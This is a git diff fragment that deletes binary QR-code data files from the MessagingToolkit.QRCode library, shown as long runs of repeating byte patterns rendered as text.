^^__``aaCCBBAA@@nnooppqq33221100&&''(())~~{{zzyyxx##""!! 66778899YYXXWWQQ$$%%&&''SSRRQQPPnnooppqqCCDDEEFF1100//..5667789:__^^]]\\RRSSTTUUOONNMMLL - - bbccddee??>>==<<rrssttuu//..--,,**++,,--wwvvuutt::;;<<==PPOONNMM(())**++OONNMMLLrrssttuuGGHHIIJJ--,,++**;<==>>??[[ZZYYXXVVWWXXYYKKJJIIHHffgghhii;;::9988 !!vvwwxxyy++**))((..//0011ssrrqqpp>>??@@AALLKKJJII,,--..//KKJJIIHH !!vvwwxxyyKKLLMMNN))((''&&@@AABBCCWWVVUUTTZZ[[\\]]GGFFEEDDjjkkllmm77665544""##$$%%zz{{||}}~~}}||''&&%%$$22334455oonnmmllBBCCDDEEHHGGFFEE00112233GGFFEEDD""##$$%%zz{{||}}OOPPQQWW%%$$##DDEEFFGGSSRRQQPP ^^__``aaCCBBAA@@nnooppqq33221100&&''(())~~{{zzyyxx##""!! 66778899kkjjiihhFFGGHHIIDDCCBBAA44556677CCBBAA@@&&''(())~~XXYYZZ[[HHIIJJKKOONNMMLL - - bbccddee??>>==<<rrssttuu//..--,,**++,,--wwvvuutt::;;<<==ggffeedd JJKKLLMM@@??>>====>>??@@??>>==<<**++,,--\\]]^^__LLMMNNOOKKJJIIHHffgghhii;;::9988 !!vvwwxxyy++**))((..//0011ssrrqqpp>>??@@AAccbbaa`` - - NNOOPPQQ77665544AABBCCDD;;::9988..//0011``aabbcc~~}}PPQQRSTUGGFFEEDDjjkkllmm77665544""##$$%%zz{{||}}~~}}||''&&%%$$22334455oonnmmllBBCCDDEE__^^]]\\RRSSTTUU33221100EEFFGGHH7766554422334455ddeeffgg||{{zzyy VWWXXYYZCCBBAA@@nnooppqq33221100&&''(())~~{{zzyyxx##""!! 66778899kkjjiihhFFGGHHII[[ZZYYXXVVWWXXYY//..--,,IIJJKKLL3322110066778899hhiijjkkxxwwvvuu - - Z[[\\]]^??>>==<<rrssttuu//..--,,**++,,--wwvvuutt::;;<<==ggffeedd JJKKLLMMWWVVUUTTZZ[[\\]]++**))((MMNNOOPP//..--,,::;;<<==qqrrssttttssrrqq^__``aab;;::9988 !!vvwwxxyy++**))((..//0011ssrrqqpp>>??@@AAccbbaa`` - - NNOOPPQQSSRRQQPP ^^__``aa''&&%%$$QQWWXXYY++**))((>>??@@AAuuvvwwxxkkjjiihhbccddeef77665544""##$$%%zz{{||}}~~}}||''&&%%$$22334455oonnmmllBBCCDDEE__^^]]\\RRSSTTUUOONNMMLL - - bbccddee##ZZ[[\\]]~~}}||''&&%%$$BBCCDDEEbdQZ|drtAvpfH~fbے`bے`rd|~HfHfpvp˂rXQJ`ےdrtAltbvpfZHAbے`JXQtlJtArdfpvnXv`bHAZp˂rbdQZ|drtA`vXnvpfZHAbے`JXQlJtArHfpvHfpvےbHAbAZpltbvpf~f``JXQr˂pZrd|ZdQbtXv`f~Hf˂rXQJ`ےdrtAJltbvpfH~f``JXQr˂pZrd|ZdQbtpvnXQJ`ےXQJ`ےdrtAf`vXnv˂pZHAbے`dQbtlJtAr~HfpvnX`ےbHAZp˂tbdQZ|df`vXnv˂pZHAbے`dQbtlJtAr~HfpnrXQ˂bZ|dZ|lf`vX㐙ے`JXQr˂JtArd|ZdQnXv`f~Zp˂rXQJ`|drtAJlnvpfH~ے`JXQr˂JtArd|ZdQnXv`ےHAZp˂drtAdrtAf`vXJXQr`JXQr|ZdQbtlJf~HfpvXQJ`ےbHAZJltbdQZ|H~f`vXnr˂pZHAے|ZdQbnXv`f~Hp˂rXQJ`ےdrtAdrtAJltH~f`vXnJXQrJXQrZdQtArpvnnXvXQJ`ےbHAZJltnvpH~fے`JXQr˂ptArd|ZdQbnXv`f~Hp˂rXQJ`ےd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HAZpltbdQZ|~f`vXnےHAbےAHr󙐂˝`vXnvˍpfdrQtJltnvpZHAbZHAb|ZQbpvnXv`fbHAZp˂rXQdQZ|drtAJvXnvpfHHAbے`JXQrlJtArd|pvnXv`fbHAZp˂rXQdQZ|dtAJlvXn`JXQr`JXQr`ZQXb㕀vˍpfH~ㅐfJltbAdZ|fH~ے`JXQے`JXQlJtAXv`f~Hf˂rXQJ`ےdrtAJltbvpfH~f``JXQr˂pZrd|ZdQbtXv`f~Hf˂rXQJ`ےdrtAJtbnvpfH˂pZ˂pZۑpJH~ㅐf۝`vXnbAdZ|drQtf`vXr˂pr˂prd|琕~HfpvnJ`ےbHAZpltbdQZ|~f`vXn˂pZHAbےZdQbtlJtA~HfpvnJ`ےbHAZpltbvpf~f`HAbےHAbےAHr󙐂˝`vXnvˍpfdrQtJltH~fZHAb`JXQrZdQbtpvnXv`fbHAZp˂rXQdQZ|drtAJvXnvpfHHAbے`JXQrlJtArd|pvnXv`fbHAZp˂rbdQZ|Hf`vXn`JXQr`JXQr`pJAHvˍpfH~ㅐfJltbAdZ|`vXn˂pZbtllJtAXv`f~Hf˂rXQJ`ےdrtAJltbvpfH~f``JXQr˂pZrd|ZdQbtXv`fHfp˂rXQdQZ|drtAJvXnvpfH˂pZے`r󙐂ˁ`H~ㅐf۝`vXnbAdZ|drQt \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv38_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv38_2.dat deleted file mode 100644 index 8839d79..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv38_2.dat +++ /dev/null @@ -1,337 +0,0 @@ -|{|{|{|{xwxwxwxwvuvuvuvu|{|{|{|{xwxwxwxwvuvuvuvu|{|{|{|{xwxwxwxwvuvuvuvu|{|{|{|{xwxwxwxwvuvuvuvu|{|{|{|{xwxwxwxwvuvuvuvu|{|{|{|{xwxwxwxwvuvuvuts|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{zyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststsrqrqrqrq~}~}~}~}zyzyzyzyvuvuvuvutstststsrqrqrqrq~}~}~}~}zyzyzyzyvuvu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wxwxwxwvuvuvuvurqrqrqrqpopopopo|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopopopopopolklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;878787874343434321212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#   - - - - popopopolkkkkkklhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;878787874343434321212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$# - - - - popopopoklklklklhghghghgdcdcdcdcbaba`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQQQQQRQRNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;878787874343434321212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$# - - - - popopopoklklklklhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;777778784343434321212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$# - - - - popopopoklklklklhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;787878784343434321212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! - - - - popopopoklklklklhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;787878784343434321212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! - - - - popopopoklklklklhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! - - - - popopopokkkkkklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! - - - - popopopolklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQQQQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;78787877434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! - - - - popopopolklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;77778787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! - - - - popopopolklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! - - - popopopolklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopolklklklkhghghghgdcdcdcdc`_`_`_`_^]^]\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopokkkklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQQQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopolklkjijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQQQRQRQRNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878777434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopojijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;77787878434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopojijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! ponmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! nmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! nmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQQQQNMNMNMNMJIJIJIJIFEFEFEFEDCBABABA@?@?@?@?<;<;<;<;78787878434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! nmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;78787777434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! nmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;77878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! nmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYXWXWVUVUVUVUPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! nmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVUPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! nmnmnmnmjijijijihghgfefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87877777434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;65656565434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?>=>=>=<;<;<;<;65656565434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;:965656565434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPONMLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    nmnmnmnmjijijijifefefefedcdcbaba`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!      nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa`_`_^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmlkjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - lklklkkkjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - kkklklkljijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - klklklkljijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - klklklkljijijijifefefefebabababa^]^]^]^]\[\[ZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - klklklkljijijijifefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - klklklkljijihghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - klklkkkkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - kklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWRQRQQQQQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - lklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - lklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - lklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBA@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - lklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - lklkkkkkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWRQRQRQRQPONMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - klklklklhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWVUVURQQQQQQRNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:98787876565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - klklklklhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=877777786565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - klklklklhghghghgfefedcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=787878786565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - klklklklhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=787878786565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - klklklklhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=787878786565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - klkkkkkkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=787878786565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - lklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVUQQQQQQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=787878784343434321212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - lklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=<;<;<;777777874343434321212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#    - - - - lklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;878787874343434321212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#    - - - - lklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;878787874343434321212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#    - - - - }}~~UUVVWWXX--..//00$$##""!! - - 